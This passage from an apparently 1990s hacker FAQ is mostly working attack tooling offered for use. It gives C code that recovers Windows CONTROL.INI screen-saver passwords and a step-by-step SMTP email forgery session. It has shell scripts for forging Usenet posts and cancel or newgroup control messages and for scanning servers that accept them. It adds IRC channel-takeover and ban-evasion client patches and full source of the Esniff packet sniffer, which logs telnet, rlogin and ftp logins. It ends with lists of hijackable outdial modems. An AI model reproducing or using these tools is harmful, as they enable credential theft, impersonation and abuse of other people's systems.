'hash1' and 'hash2.' The position in the plaintext is important during
the process so we'll refer to this as 'pos.' After each step of the
hashing process, the character is checked against a set of characters
that windows considers 'special.' These characters are '[ ] =' and any
character below ASCII 33 or above ASCII 126. I'll refer to this
checking operation as 'is_ok.' All indecies are zero-based (i.e. an 8
character password is considered chars 0 to 7).
Now, the first character of 'plaintext' is xor'd with 'len' then fed to
'is_ok'. if the character is not valid, it is replaced by the original
character of 'plaintext' before going to the next operation. The next
operation is to xor with 'pos' (this is useless for the first operation
since 'len' is 0 and anything xor'd with zero is itself) then fed to
'is_ok' and replaced with the original if not valid. The final
operation (per character) is to xor it with the previous character of
'plaintext'. Since there is no previous character, the fixed value, 42,
is used on the first character of 'plaintext'. This is then fed to
'is_ok' and if OK, it is stored into the first position of 'hash1' This
process proceeds until all characters of plaintext are exhausted.
The second pass is very similar, only now, the starting point is the
last character in hash1 and the results are placed into hash2 from the
end to the beginning. Also, instead of using the previous character in
the final xoring, the character following the current character is used.
Since there is no character following the last character in hash1, the
value, 42 is again used for the last character.
'hash2' is the final string and this is what windows saves in the file
CONTROL.INI.
To 'decrypt' the password, the above procedure is just reversed.
Now, what you've all been waiting for. Here is some C code that will
do
the dirty work for you:
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int xor1(int i,int j)
{
int x;
x=i^j;
return (x>126||x<33||x==91||x==93||x==61)?i:x;
}
void main()
{
FILE *f;
int i,l;
char s[80],s1[80];
printf("Please enter the path to your Windows directory\n");
gets(s1);
sprintf(s,"%s%scontrol.ini",s1,s1[strlen(s1)-1]=='\\'?"":"\\");
if((f=fopen(s,"rt"))==NULL){
printf("File Error : %s\n",sys_errlist[errno]);
exit(0);
}
while(strnicmp(fgets(s1,70,f),"password",8)!=0&&!feof(f));
fclose(f);
strtok(s1,"=\n");
strcpy(s,strtok(NULL,"\n"));
i=strlen(s)-1;
for(l=i;l>-1;l--)
s1[l]=xor1(xor1(xor1(s[l],l==i?42:s[l+1]),l==i?0:l),i+1);
for(l=0;l<i+1;l++)
s[l]=xor1(xor1(xor1(s1[l],l?s1[l-1]:42),l?l:0),i+1);
printf("The Password is: %s\n",s);
}
A-31. What is an Intrusion Detection System (IDS)?
An Intrusion Detection System is a system for detecting misuse of
network or computer resources.
An IDS will have a number of sensors it utilizes to detect intrusions.
Example sensors may be:
A sensor to monitor TCP connection requests.
Log file monitors.
File integrity checkers.
The IDS system is responsible for collecting data from it's sensors and
analyzing this data to give the security administrator notice of malicious
activity on the network.
Section B -- Data Networks
B-01. How do I send fakemail?
Telnet to port 25 of the machine you want the mail to appear to
originate from. This will connect you directly to the SMTP (Simple Mail
Transfer Protocol) daemon running on that host. Then, enter SMTP
commands by hand directly to the SMTP daemon.
Enter your message as in this example:
HELO bellcore.com
MAIL FROM:voyager@bellcore.com
RCPT TO:president@whitehouse.gov
DATA
Date: Thu, 31 Dec 1998 12:16:35 -0500 (EST)
From: voyager@bellcore.com (The
Voyager)
To: president@whitehouse.gov
Subject: Clipper
Reply-To: voyager@bellcore.com
Please discontinue your silly Clipper initiative.
.
QUIT
On systems that have RFC 931 implemented, spoofing your "MAIL FROM:"
line will not work. Test by sending yourself fakemail first.
Newer SMTP daemons, such as smail 3.1.29.1+ or sendmail 8.7+, perform
an
identd check when you connect to them. These SMTP daemons are
impossible to completely spoof without first spoofing identd.
For more information read RFC 822 (Standard for the format of ARPA
Internet text messages).
Note that the headers inside the DATA statement should be optional, but
are actually required by some mailers. Even when not required, they
often help your message appear genuine.
To locate an SMTP server for a domain, use `nslookup` and set your
querytype to MX.
B-02. How do I fake posts and control messages to Usenet?
From: Anonymous (Pretending to be: tale@uunet.uu.net (David C
Lawrence))
Subject: FAQ: Better living through forgery
Date: 19 Mar 1995 02:37:09 GMT
Anonymous netnews without "anonymous" remailers
Inspired by the recent "NetNews Judges-L" events, this file has been
updated to cover forging control messages, so you can do your own
article canceling and create and destroy your own newsgroups.
Save any news article to a file. We'll call it "hak" in this
example.
Edit "hak", and remove any header lines of the form
From some!random!path!user (note: "From ", not "From: "!!!)
Article:
Lines:
Xref:
Shorten the Path header down to its LAST two or three "bangized"
components. This is to make the article look like it was posted from
where it really was posted, and originally hit the net at or near the
host you send it to. Or you can construct a completely new Path: line
to reflect your assumed alias.
Make some change to the Message ID: field, that isn't likely to be
duplicated anywhere. This is usually best done by adding a couple of
random characters to the part before the @, since news posting programs
generally use a fixed-length field to generate these IDs.
Change the other headers to say what you like -- From:,
Newsgroups:,
Sender:, etc. Replace the original message text with your message.
If
you are posting to a moderated group or posting a control message,
remember to put in an Approved: header to bypass the moderation
mechanism.
To specifically cancel someone else's article, you need its message-ID.
Your message headers, in addition to what's already there, should also
contain the following with that message-ID in it. This makes it a
"control message". NOTE: control messages generally require an
Approved: header as well, so you should add one.
Subject: cmsg cancel <xb8700A@twits.site.com>
Control: cancel <xb8700A@twits.site.com>
Approved: luser@twits.site.com
Newsgroups are created and destroyed with control messages, too. If
you wanted to create, for instance, comp.misc.microsoft.sucks, your
control headers would look like
Subject: cmsg newgroup comp.misc.microsoft.sucks
Control: newgroup comp.misc.microsoft.sucks
Add on the string "moderated" at the end of these if you want the group
to be "moderated with no moderator" as with alt.hackers. Somewhere in the body of your
message, you should include the following text, changed with the
description of the group you're creating:
For your newsgroups file:
comp.misc.microsoft.sucks
We don't do windows
To remove a group, substitute "rmgroup" for "newgroup" in the header
lines above. Keep in mind that most sites run all "rmgroup" requests
through a human news-master, who may or may not decide to honor it.
Group creation is more likely to be automatic than deletion at most
installations. Any newsgroup changes are more likely to take effect if
the come from me, since my name is hardwired into many of the NNTP
control scripts, so using the From: and Approved: headers from this
posting is recommended.
Save your changed article, check it to make sure it contains NO
reference to yourself or your own site, and send it to your favorite
NNTP server that permits transfers via the IHAVE command, using the
following script:
#! /bin/sh
## Post an article via IHAVE.
## args: filename server
if test "$2" = "" ; then
echo usage: $0 filename server
exit 1
fi
if test ! -f $1 ; then
echo $1: not found
exit 1
fi
# suck msg-id out of headers, keep the brackets
msgid=`sed -e '/^$/,$d' $1 | egrep '^[Mm]essage-[Ii][Dd]: ' | \
sed 's/.*-[Ii][Dd]: //'`
echo $msgid
( sleep 5
echo IHAVE $msgid
sleep 5
cat $1
sleep 1
echo "."
sleep 1
echo QUIT ) | telnet $2 119
If your article doesn't appear in a day or two, try a different server.
They are easy to find. Here's a script that will break a large file
full of saved netnews into a list of hosts to try. Edit the output of
this if you want, to remove obvious peoples' names and other trash.
#! /bin/sh
FGV='fgrep -i -v'
egrep '^Path: ' $1 | sed -e 's/^Path: //' -e 's/!/\
/g' | sort -u | fgrep . | $FGV .bitnet | $FGV .uucp
Once you have your host list, feed it to the following script.
#! /bin/sh
while read xx ; do
if test "$xx" = "" ; then continue;
fi
echo === $xx
( echo open $xx 119
sleep 5
echo ihave IamSOk00l@podunk.edu
sleep 4
echo .
echo quit
sleep 1
echo quit
) | telnet
done
If the above script is called "findem" and you're using csh, you should
do:
findem < list >& outfile
so that ALL output from telnet is captured. This takes a long time,
but when it finishes, edit "outfile" and look for occurrences of "335".
These mark answers from servers that might be willing to accept an
article. This isn't a completely reliable indication, since some
servers respond with acceptance and later drop articles. Try a given
server with a slightly modified repeat of someone else's message, and
see if it eventually appears.
Sometimes the telnets get into an odd state, and freeze, particularly
when a host is refusing NNTP connections. If you manually kill these
hung telnet processes but not the main script, the script will continue
on. In other words, you may have to monitor the finding script a
little while it is running.
You will notice other servers that don't necessarily take an IHAVE, but
say "posting ok". You can probably do regular POSTS through these, but
they will add an "NNTP-Posting-Host: " header containing the machine
YOU came from and are therefore unsuitable for completely anonymous
use.
Please use the information in this article for constructive
purposes only.
B-03. How do I hack ChanOp on IRC?
Find a server that is split from the rest of IRC and create your own
channel there using the name of the channel you want ChanOp on. When
that server reconnects to the net, you will have ChanOp on the real
channel. If you have ServerOp on a server, you can cause it to split
on purpose.
B-04. How do I modify the IRC client to hide my real username?
Note: This FAQ answer was written by someone else, but I do not know who.
If you know who originally wrote this, please e-mail me.
Applying these changes to the source code for your ircII client and
recompiling gives you a new ircII command: /NEWUSER. This new command
can be used as follows:
- /NEWUSER <new_username> [new_IRCNAME]
- <new_username> is a new username to use and is required
- [new_IRCNAME] is a new IRCNAME string to use and is optional
- This will disconnect you from your server and reconnect using
- the new information given. You will rejoin all channel you
- are currently on and keep your current nickname.
The effect is basically changing your username/IRCname on the fly.
Although you are disconnected from your server and reconnected, the
ircII client is never exited, thus keeping all your state information
and aliases intact. This is ideal for bots that wish to be really
obnoxious in ban evasion. ;)
As this is now a new command in ircII, it can be used in scripts. Be
aware that the reconnect associated with the NEWUSER command takes time,
so TIMER any commands that must immediately follow the NEWUSER. For
example... ban evasion made easy (but beware infinite reconnects when
your site is banned):
on ^474 * {
echo *** Banned from channel $1
if ($N == [AnnMurray]) {
nick $randomstring
join $1
} {
nick AnnMurray
newuser $randomstring
timer 5 join $1
}
}
Or just to be annoying... a /BE <nickname> alias that will assume
a
person's username and IRCNAME:
alias be {
^on ^311 * {
^on 311 -*
newuser $2 $5-
}
whois $0
}
Now... in order to add this command to your ircII client, get the
latest
client source (or whatever client source you are using). Cd into the
source directory and edit the file "edit.c". Make the following
changes:
Locate the line which reads:
extern void server();
Insert the following line after it:
static void newuser();
This pre-defines a new function "newuser()" that we'll add later.
Now, locate the line which reads:
"NAMES", "NAMES", funny_stuff, 0,
Insert the following line after it:
"NEWUSER", NULL, newuser, 0,
This adds a new command NEWUSER to the list of valid IRCII commands,
and
tells it to call our new function newuser() to perform it.
Finally, go the bottom of the file and add the following code as our new
function "newuser()":
/*
* newuser: the /NEWUSER command. Added by Hendrix
* Parameters as follows:
* /NEWUSER [new_IRCNAME]
* is a new username to use and is required
* [new_IRCNAME] is a new IRCNAME string to use and is optional
* This will disconnect you from your server and reconnect using
* the new information given. You will rejoin all channels you
* are currently on and keep your current nickname.
*/
static void newuser(command, args)
char *command,
*args;
{
char *newuname;
if (newuname = next_arg(args, &args))
{
strmcpy(username, newuname, NAME_LEN);
if (*args)
strmcpy(realname, args, REALNAME_LEN);
say("Reconnecting to server...");
close_server(from_server);
if (connect_to_server(server_list[from_server].name,
server_list[from_server].port, primary_server) !=
-1)
{
change_server_channels(primary_server,
from_server);
set_window_server(-1, from_server, 1);
}
else
say("Unable to reconnect. Use /SERVER to
connect.");
}
else
say("You must specify a username and, optionally, an
IRCNAME");
}
/NEWUSER will not hide you from a CTCP query. To do that, modify
ctcp.c
as shown in the following diff and set an environment variable named
CTCPFINGER with the information you would like to display when
queried.
*** ctcp.old
--- ctcp.c
***************
*** 334 ****
! char c;
--- 334 ---
! char c, *fing;
***************
*** 350,354 ****
! if (pwd = getpwuid(uid))
{
char *tmp;
--- 350,356 ----
! if (fing = getenv("CTCPFINGER"))
! send_ctcp_reply(from, ctcp->name, fing, diff,
c);
! else if (pwd = getpwuid(uid))
{
char *tmp;
B-05. What is sniffing?
Sniffing is listening (with software) to the raw network device for
packets that interest you. When your software sees a packet that fits
certain criteria, it logs it to a file. The most common criteria for an
interesting packet is one that contains words like "login" or
"password."
You will have to obtain or code a sniffer that is capable of working
with the appropriate type of network interface. Popular network
interfaces include NIT (Network Interface Tap), and DLPI (Data Link
Provider Interface), and BPF (Berkeley Packet Filter.)
LLI was a network interface used by SCO, which has been augmented with
DLPI support as of SCO OpenServer Release V. NIT was a network
interface used by Sun, but has been replaced in later releases of
SunOS/Solaris with DLPI. Ultrix supported the Ultrix Packet Filter
before Digital implemented support for BPF.
DLPI is supported under current releases of System V Release 4,
SunOS/Solaris, AIX, HP/UX, UnixWare, Irix, and MacOS. DLPI is partially
supported under Digital Unix. Sun DLPI version 2 supports Ethernet, X.25
LAPB, SDLC, ISDN LAPD, CSMA/CD, FDDI, token ring, token bus, and Bisync
as data-link protocols. The DLPI network interface provided with HP/UX
supports Ethernet/IEEE 802.3, IEEE 802.5, FDDI, and Fibre Channel.
For more information regarding DLPI refer to the DLPI Specification
or the paper "How to Use DLPI in Solaris 2.x" by Neal Nuckolls.
BPF is supported under current releases of BSD and Digital Unix, and
has
been ported to SunOS and Solaris. AIX supports BPF reads, but not
writes. A BPF library is available for Linux.
Many sniffers are available for various operating systems:
Here is source code for a sample ethernet sniffer using NIT under SunOS
4.x:
/* Esniff.c */
#include <stdio.h>
#include <ctype.h>
#include <string.h>
#include <sys/time.h>
#include <sys/file.h>
#include <sys/stropts.h>
#include <sys/signal.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <net/if.h>
#include <net/nit_if.h>
#include <net/nit_buf.h>
#include <net/if_arp.h>
#include <netinet/in.h>
#include <netinet/if_ether.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netinet/udp.h>
#include <netinet/ip_var.h>
#include <netinet/udp_var.h>
#include <netinet/in_systm.h>
#include <netinet/tcp.h>
#include <netinet/ip_icmp.h>
#include <netdb.h>
#include <arpa/inet.h>
#define ERR stderr
char *malloc();
char *device,
*ProgName,
*LogName;
FILE *LOG;
int debug=0;
#define NIT_DEV "/dev/nit"
#define CHUNKSIZE 4096 /* device buffer size */
int if_fd = -1;
int Packet[CHUNKSIZE+32];
void Pexit(err,msg)
int err; char *msg;
{ perror(msg);
exit(err); }
void Zexit(err,msg)
int err; char *msg;
{ fprintf(ERR,msg);
exit(err); }
#define IP ((struct ip *)Packet)
#define IP_OFFSET (0x1FFF)
#define SZETH (sizeof(struct ether_header))
#define IPLEN (ntohs(ip->ip_len))
#define IPHLEN (ip->ip_hl)
#define TCPOFF (tcph->th_off)
#define IPS (ip->ip_src)
#define IPD (ip->ip_dst)
#define TCPS (tcph->th_sport)
#define TCPD (tcph->th_dport)
#define IPeq(s,t) ((s).s_addr == (t).s_addr)
#define TCPFL(FLAGS) (tcph->th_flags & (FLAGS))
#define MAXBUFLEN (128)
time_t LastTIME = 0;
struct CREC {
struct CREC *Next,
*Last;
time_t Time; /* start time */
struct in_addr SRCip,
DSTip;
u_int SRCport, /* src/dst ports */
DSTport;
u_char Data[MAXBUFLEN+2]; /* important stuff :-) */
u_int Length; /* current data length */
u_int PKcnt; /* # pkts */
u_long LASTseq;
};
struct CREC *CLroot = NULL;
char *Symaddr(ip)
register struct in_addr ip;
{ register struct hostent *he =
gethostbyaddr((char *)&ip.s_addr, sizeof(struct in_addr),AF_INET);
return( (he)?(he->h_name):(inet_ntoa(ip)) );
}
char *TCPflags(flgs)
register u_char flgs;
{ static char iobuf[8];
#define SFL(P,THF,C) iobuf[P]=((flgs & THF)?C:'-')
SFL(0,TH_FIN, 'F');
SFL(1,TH_SYN, 'S');
SFL(2,TH_RST, 'R');
SFL(3,TH_PUSH,'P');
SFL(4,TH_ACK, 'A');
SFL(5,TH_URG, 'U');
iobuf[6]=0;
return(iobuf);
}
char *SERVp(port)
register u_int port;
{ static char buf[10];
register char *p;
switch(port) {
case IPPORT_LOGINSERVER: p="rlogin"; break;
case IPPORT_TELNET: p="telnet"; break;
case IPPORT_SMTP: p="smtp"; break;
case IPPORT_FTP: p="ftp"; break;
default: sprintf(buf,"%u",port); p=buf; break;
}
return(p);
}
char *Ptm(t)
register time_t *t;
{ register char *p = ctime(t);
p[strlen(p)-6]=0; /* strip " YYYY\n" */
return(p);
}
char *NOWtm()
{ time_t tm;
time(&tm);
return( Ptm(&tm) );
}
#define MAX(a,b) (((a)>(b))?(a):(b))
#define MIN(a,b) (((a)<(b))?(a):(b))
/* add an item */
#define ADD_NODE(SIP,DIP,SPORT,DPORT,DATA,LEN) { \
register struct CREC *CLtmp = \
(struct CREC *)malloc(sizeof(struct CREC)); \
time( &(CLtmp->Time) ); \
CLtmp->SRCip.s_addr = SIP.s_addr; \
CLtmp->DSTip.s_addr = DIP.s_addr; \
CLtmp->SRCport = SPORT; \
CLtmp->DSTport = DPORT; \
CLtmp->Length = MIN(LEN,MAXBUFLEN); \
bcopy( (u_char *)DATA, (u_char *)CLtmp->Data, CLtmp->Length); \
CLtmp->PKcnt = 1; \
CLtmp->Next = CLroot; \
CLtmp->Last = NULL; \
CLroot = CLtmp; \
}
register struct CREC *GET_NODE(Sip,SP,Dip,DP)
register struct in_addr Sip,Dip;
register u_int SP,DP;
{ register struct CREC *CLr = CLroot;
while(CLr != NULL) {
if( (CLr->SRCport == SP) && (CLr->DSTport == DP) &&
IPeq(CLr->SRCip,Sip) && IPeq(CLr->DSTip,Dip) )
break;
CLr = CLr->Next;
}
return(CLr);
}
#define ADDDATA_NODE(CL,DATA,LEN) { \
bcopy((u_char *)DATA, (u_char *)&CL->Data[CL->Length],LEN); \
CL->Length += LEN; \
}
#define PR_DATA(dp,ln) { \
register u_char lastc=0; \
while(ln-- >0) { \
if(*dp < 32) { \
switch(*dp) { \
case '\0': if((lastc=='\r') || (lastc=='\n') || lastc=='\0') \
break; \
case '\r': \
case '\n': fprintf(LOG,"\n : "); \
break; \
default : fprintf(LOG,"^%c", (*dp + 64)); \
break; \
} \
} else { \
if(isprint(*dp)) fputc(*dp,LOG); \
else fprintf(LOG,"(%d)",*dp); \
} \
lastc = *dp++; \
} \
fflush(LOG); \
}
void END_NODE(CLe,d,dl,msg)
register struct CREC *CLe;
register u_char *d;
register int dl;
register char *msg;
{
fprintf(LOG,"\n-- TCP/IP LOG -- TM: %s --\n", Ptm(&CLe->Time));
fprintf(LOG," PATH: %s(%s) =>",
Symaddr(CLe->SRCip),SERVp(CLe->SRCport));
fprintf(LOG," %s(%s)\n",
Symaddr(CLe->DSTip),SERVp(CLe->DSTport));
fprintf(LOG," STAT: %s, %d pkts, %d bytes [%s]\n",
NOWtm(),CLe->PKcnt,(CLe->Length+dl),msg);
fprintf(LOG," DATA: ");
{ register u_int i = CLe->Length;
register u_char *p = CLe->Data;
PR_DATA(p,i);
PR_DATA(d,dl);
}
fprintf(LOG,"\n-- \n");
fflush(LOG);
if(CLe->Next != NULL)
CLe->Next->Last = CLe->Last;
if(CLe->Last != NULL)
CLe->Last->Next = CLe->Next;
else
CLroot = CLe->Next;
free(CLe);
}
/* 30 mins (x 60 seconds) */
#define IDLE_TIMEOUT 1800
#define IDLE_NODE() { \
time_t tm; \
time(&tm); \
if(LastTIME<tm) { \
register struct CREC *CLe,*CLt = CLroot; \
LastTIME=(tm+IDLE_TIMEOUT); tm-=IDLE_TIMEOUT; \
while(CLe=CLt) { \
CLt=CLe->Next; \
if(CLe->Time <tm) \
END_NODE(CLe,(u_char *)NULL,0,"IDLE TIMEOUT"); \
} \
} \
}
void filter(cp, pktlen)
register char *cp;
register u_int pktlen;
{
register struct ip *ip;
register struct tcphdr *tcph;
{ register u_short EtherType=ntohs(((struct ether_header
*)cp)->ether_type);
if(EtherType < 0x600) {
EtherType = *(u_short *)(cp + SZETH + 6);
cp+=8; pktlen-=8;
}
if(EtherType != ETHERTYPE_IP) /* chuk it if its not IP */
return;
}
/* ugh, gotta do an alignment :-( */
bcopy(cp + SZETH, (char *)Packet,(int)(pktlen - SZETH));
ip = (struct ip *)Packet;
if( ip->ip_p != IPPROTO_TCP) /* chuk non tcp pkts */
return;
tcph = (struct tcphdr *)(Packet + IPHLEN);
if(!( (TCPD == IPPORT_TELNET) ||
(TCPD == IPPORT_LOGINSERVER) ||
(TCPD == IPPORT_FTP)
)) return;
{ register struct CREC *CLm;
register int length = ((IPLEN - (IPHLEN * 4)) - (TCPOFF * 4));
register u_char *p = (u_char *)Packet;
p += ((IPHLEN * 4) + (TCPOFF * 4));
if(debug) {
fprintf(LOG,"PKT: (%s %04X) ", TCPflags(tcph->th_flags),length);
fprintf(LOG,"%s[%s] => ", inet_ntoa(IPS),SERVp(TCPS));
fprintf(LOG,"%s[%s]\n", inet_ntoa(IPD),SERVp(TCPD));
}
if( CLm = GET_NODE(IPS, TCPS, IPD, TCPD) ) {
CLm->PKcnt++;
if(length>0)
if( (CLm->Length + length) < MAXBUFLEN ) {
ADDDATA_NODE( CLm, p,length);
} else {
END_NODE( CLm, p,length, "DATA LIMIT");
}
if(TCPFL(TH_FIN|TH_RST)) {
END_NODE( CLm, (u_char *)NULL,0,TCPFL(TH_FIN)?"TH_FIN":"TH_RST"
);
}
} else {
if(TCPFL(TH_SYN)) {
ADD_NODE(IPS,IPD,TCPS,TCPD,p,length);
}
}
IDLE_NODE();
}
}
/* signal handler
*/
void death()
{ register struct CREC *CLe;
while(CLe=CLroot)
END_NODE( CLe, (u_char *)NULL,0, "SIGNAL");
fprintf(LOG,"\nLog ended at => %s\n",NOWtm());
fflush(LOG);
if(LOG != stdout)
fclose(LOG);
exit(1);
}
/* opens network interface, performs ioctls and reads from it,
* passing data to filter function
*/
void do_it()
{
int cc;
char *buf;
u_short sp_ts_len;
if(!(buf=malloc(CHUNKSIZE)))
Pexit(1,"Eth: malloc");
/* this /dev/nit initialization code pinched from etherfind */
{
struct strioctl si;
struct ifreq ifr;
struct timeval timeout;
u_int chunksize = CHUNKSIZE;
u_long if_flags = NI_PROMISC;
if((if_fd = open(NIT_DEV, O_RDONLY)) < 0)
Pexit(1,"Eth: nit open");
if(ioctl(if_fd, I_SRDOPT, (char *)RMSGD) < 0)
Pexit(1,"Eth: ioctl (I_SRDOPT)");
si.ic_timout = INFTIM;
if(ioctl(if_fd, I_PUSH, "nbuf") < 0)
Pexit(1,"Eth: ioctl (I_PUSH \"nbuf\")");
timeout.tv_sec = 1;
timeout.tv_usec = 0;
si.ic_cmd = NIOCSTIME;
si.ic_len = sizeof(timeout);
si.ic_dp = (char *)&timeout;
if(ioctl(if_fd, I_STR, (char *)&si) < 0)
Pexit(1,"Eth: ioctl (I_STR: NIOCSTIME)");
si.ic_cmd = NIOCSCHUNK;
si.ic_len = sizeof(chunksize);
si.ic_dp = (char *)&chunksize;
if(ioctl(if_fd, I_STR, (char *)&si) < 0)
Pexit(1,"Eth: ioctl (I_STR: NIOCSCHUNK)");
strncpy(ifr.ifr_name, device, sizeof(ifr.ifr_name));
ifr.ifr_name[sizeof(ifr.ifr_name) - 1] = '\0';
si.ic_cmd = NIOCBIND;
si.ic_len = sizeof(ifr);
si.ic_dp = (char *)𝔦
if(ioctl(if_fd, I_STR, (char *)&si) < 0)
Pexit(1,"Eth: ioctl (I_STR: NIOCBIND)");
si.ic_cmd = NIOCSFLAGS;
si.ic_len = sizeof(if_flags);
si.ic_dp = (char *)&if_flags;
if(ioctl(if_fd, I_STR, (char *)&si) < 0)
Pexit(1,"Eth: ioctl (I_STR: NIOCSFLAGS)");
if(ioctl(if_fd, I_FLUSH, (char *)FLUSHR) < 0)
Pexit(1,"Eth: ioctl (I_FLUSH)");
}
while ((cc = read(if_fd, buf, CHUNKSIZE)) >= 0) {
register char *bp = buf,
*bufstop = (buf + cc);
while (bp < bufstop) {
register char *cp = bp;
register struct nit_bufhdr *hdrp;
hdrp = (struct nit_bufhdr *)cp;
cp += sizeof(struct nit_bufhdr);
bp += hdrp->nhb_totlen;
filter(cp, (u_long)hdrp->nhb_msglen);
}
}
Pexit((-1),"Eth: read");
}
/* Authorize your program, generate your own password and uncomment here
*/
/* #define AUTHPASSWD "EloiZgZejWyms" */
void getauth()
{ char *buf,*getpass(),*crypt();
char pwd[21],prmpt[81];
strcpy(pwd,AUTHPASSWD);
sprintf(prmpt,"(%s)UP? ",ProgName);
buf=getpass(prmpt);
if(strcmp(pwd,crypt(buf,pwd)))
exit(1);
}
*/
void main(argc, argv)
int argc;
char **argv;
{
char cbuf[BUFSIZ];
struct ifconf ifc;
int s,
ac=1,
backg=0;
ProgName=argv[0];
/* getauth(); */
LOG=NULL;
device=NULL;
while((ac<argc) && (argv[ac][0] == '-')) {
register char ch = argv[ac++][1];
switch(toupper(ch)) {
case 'I': device=argv[ac++];
break;
case 'F': if(!(LOG=fopen((LogName=argv[ac++]),"a")))
Zexit(1,"Output file cant be opened\n");
break;
case 'B': backg=1;
break;
case 'D': debug=1;
break;
default : fprintf(ERR,
"Usage: %s [-b] [-d] [-i interface] [-f file]\n",
ProgName);
exit(1);
}
}
if(!device) {
if((s=socket(AF_INET, SOCK_DGRAM, 0)) < 0)
Pexit(1,"Eth: socket");
ifc.ifc_len = sizeof(cbuf);
ifc.ifc_buf = cbuf;
if(ioctl(s, SIOCGIFCONF, (char *)&ifc) < 0)
Pexit(1,"Eth: ioctl");
close(s);
device = ifc.ifc_req->ifr_name;
}
fprintf(ERR,"Using logical device %s [%s]\n",device,NIT_DEV);
fprintf(ERR,"Output to %s.%s%s",(LOG)?LogName:"stdout",
(debug)?" (debug)":"",(backg)?" Backgrounding ":"\n");
if(!LOG)
LOG=stdout;
signal(SIGINT, death);
signal(SIGTERM,death);
signal(SIGKILL,death);
signal(SIGQUIT,death);
if(backg && debug) {
fprintf(ERR,"[Cannot bg with debug on]\n");
backg=0;
}
if(backg) {
register int s;
if((s=fork())>0) {
fprintf(ERR,"[pid %d]\n",s);
exit(0);
} else if(s<0)
Pexit(1,"fork");
if( (s=open("/dev/tty",O_RDWR))>0 ) {
ioctl(s,TIOCNOTTY,(char *)NULL);
close(s);
}
}
fprintf(LOG,"\nLog started at => %s [pid %d]\n",NOWtm(),getpid());
fflush(LOG);
do_it();
}
B-06. What is an Internet Outdial?
An Internet outdial is a modem connected to the Internet than you can
use to dial out. Normal outdials will only call local numbers. A GOD
(Global OutDial) is capable of calling long distance. Outdials are an
inexpensive method of calling long distance BBS's.
B-07. What are some Internet Outdials?
This FAQ answer is excerpted from CoTNo #5: Internet Outdial List
v3.0 by Cavalier and DisordeR
Introduction
There are several lists of Internet outdials floating around the net
these
days. The following is a compilation of other lists, as well as v2.0 by
DeadKat(CoTNo issue 2, article 4). Unlike other lists where the author
just ripped other people and released it, we have sat down and tested
each one of these. Some of them we have gotten "Connection Refused" or
it timed out while trying to connect...these have been labeled dead.
Working Outdials as of 12/29/94:
| NPA |
IP Address |
Instructions |
| 215 |
isn.upenn.edu |
modem |
| 217 |
dialout.cecer.army.mil |
atdt x,xxxXXXXX |
| 218 |
modem.d.umn.edu |
atdt9,xxxXXXX |
| 303 |
yuma.acns.colostate.edu 3020 |
|
| 412 |
myriad.pc.cc.cmu.edu 2600 |
Press D at the prompt |
412 |
gate.cis.pitt.edu |
tn3270,
connect dialout.pitt.edu,
atdtxxxXXXX |
| 413 |
dialout2400.smith.edu |
Ctrl } gets ENTER NUMBER: xxxxxxx |
| 502 |
outdial.louisville.edu |
|
| 502 |
uknet.uky.edu |
connect kecnet
@ dial: "outdial2400 or out" |
| 602 |
acssdial.inre.asu.edu |
atdt8,,,,,[x][yyy]xxxyyyy |
| 614 |
ns2400.acs.ohio-state.edu |
|
| 614 |
ns9600.acs.ohio-state.edu |
|
| 713 |
128.249.27.153 |
atdt x,xxxXXXX |
| 714 |
modem.nts.uci.edu |
atdt[area]0[phone] |
| 804 |
ublan.virginia.edu |
connect hayes, 9,,xxx-xxxx |
| 804 |
ublan2.acc.virginia.edu |
connect telnet
connect hayes |
Need password:
| NPA
| IP Address |
Instructions |
| 204 |
dial.cc.umanitoba.ca |
|
| 206 |
rexair.cac.washington.edu |
This is an unbroken password |
| 303 |
yuma.ACNS.ColoState.EDU |
login: modem |
| 404 |
128.140.1.239 |
.modem8|CR |
| 415 |
annex132-1.EECS.Berkeley.EDU |
"dial1" or "dial2" or "dialer1" |
| 514 |
cartier.CC.UMontreal.CA |
externe,9+number |
| 703 |
wal-3000.cns.vt.edu |
dial2400 -aa |
Dead/No Connect:
| NPA |
IP Address |
Instructions |
| 201 |
idsnet |
|
| 202 |
modem.aidt.edu |
|
| 204 |
umnet.cc.manitoba.ca |
"dial12" or "dial24" |
| 206 |
dialout24.cac.washington.edu |
|
| 207 |
modem-o.caps.maine.edu |
|
| 212 |
B719-7e.NYU.EDU |
dial3/dial12/dial24 |
| 212 |
B719-7f.NYU.EDU |
dial3/dial12/dial24 |
| 212 |
DIALOUT-1.NYU.EDU |
dial3/dial12/dial24 |
| 212 |
FREE-138-229.NYU.EDU |
dial3/dial12/dial24 |
| 212 |
UP19-4b.NYU.EDU |
dial3/dial12/dial24 |
| 215 |
wiseowl.ocis.temple.edu |
"atz" "atdt 9xxxyyyy" |
| 218 |
aa28.d.umn.edu |
"cli" "rlogin modem" at "login:" type "modem" |
| 218 |
modem.d.umn.edu |
Hayes 9,XXX-XXXX |
| 301 |
dial9600.umd.edu |
|
| 305 |
alcat.library.nova.edu |
|
| 305 |
office.cis.ufl.edu |
|
| 307 |
modem.uwyo.edu |
Hayes 0,XXX-XXXX |
| 313 |
35.1.1.6 |
dial2400-aa or dial1200-aa or dialout |
| 402 |
dialin.creighton.edu |
|
| 402 |
modem.criegthon.edu |
|
| 404 |
broadband.cc.emory.edu |
".modem8" or ".dialout" |
| 408 |
dialout.scu.edu |
|
| 408 |
dialout1200.scu.edu |
|
| 408 |
dialout2400.scu.edu |
|
| 408 |
dialout9600.scu.edu |
|
| 413 |
dialout.smith.edu |
|
| 414 |
modems.uwp.edu |
|
| 416 |
annex132.berkely.edu |
atdt 9,,,,, xxx-xxxx |
| 416 |
pacx.utcs.utoronto.ca |
modem |
| 503 |
dialout.uvm.edu |
|
| 513 |
dialout24.afit.af.mil |
|
| 513 |
r596adi1.uc.edu |
|
| 514 |
pacx.CC.UMontreal.CA |
externe#9 9xxx-xxxx |
| 517 |
engdial.cl.msu.edu |
|
| 602 |
dial9600.telcom.arizona.edu |
|
| 603 |
dialout1200.unh.edu |
|
| 604 |
dial24-nc00.net.ubc.ca |
|
| 604 |
dial24-nc01.net.ubc.ca |
|
| 604 |
dial96-np65.net.ubc.ca |
|
| 604 |
gmodem.capcollege.bc.ca |
|
| 604 |
hmodem.capcollege.bc.ca |
|
| 609 |
128.119.131.11 |
X (X= 1 - 4) Hayes |
| 609 |
wright-modem-1.rutgers.edu |
|
| 609 |
